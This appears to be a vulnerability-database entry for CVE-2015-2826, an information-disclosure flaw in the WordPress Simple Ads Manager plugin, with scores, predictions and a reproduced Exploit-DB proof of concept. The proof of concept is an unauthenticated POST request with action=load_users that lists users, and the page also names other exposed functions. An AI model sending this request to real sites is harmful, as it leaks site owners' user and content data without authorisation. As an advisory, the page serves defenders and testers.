CVE-2015-2826

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Published 2017-09-20 · Modified 2026-05-13

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CVSS v3

5.3

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

CVSS v4 NEW

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not yet in upstream

VIR risk

6.3

Description

WordPress Simple Ads Manager plugin 2.5.94 and 2.5.96 allows remote attackers to obtain sensitive information.

Predictions

Exploit likelihood

63%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-36615 webapps php text · 1 KB

ITAS Team · 2015-04-02

WordPress Plugin Simple Ads Manager - Information Disclosure

text exploit Source: Exploit-DB

#Vulnerability title: Wordpress plugin Simple Ads Manager - Information Disclosure
#Product: Wordpress plugin Simple Ads Manager
#Vendor: https://profiles.wordpress.org/minimus/
#Affected version: Simple Ads Manager 2.5.94 and 2.5.96
#Download link: https://wordpress.org/plugins/simple-ads-manager/
#CVE ID:  CVE-2015-2826
#Author: Nguyen Hung Tuan (tuan.h.nguyen@itas.vn) & ITAS Team


::PROOF OF CONCEPT::

+ REQUEST
POST /wp-content/plugins/simple-ads-manager/sam-ajax-admin.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 17

action=load_users



+ Function list: load_users, load_authors, load_cats, load_tags, load_posts, posts_debug, load_stats,...
+ Vulnerable file: simple-ads-manager/sam-ajax-admin.php
+ Image: http://www.itas.vn/uploads/newsother/disclosure.png

+ REFERENCE: 
- http://www.itas.vn/news/ITAS-Team-found-out-multiple-critical-vulnerabilities-in-Hakin9-IT-Security-Magazine-78.html?language=en

Application impact

Vendor	Product	Versions	Fixed
simple_ads_manager_project	simple_ads_manager	`2.5.94`
simple_ads_manager_project	simple_ads_manager	`2.5.96`

References

CWEs

CWE-200

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.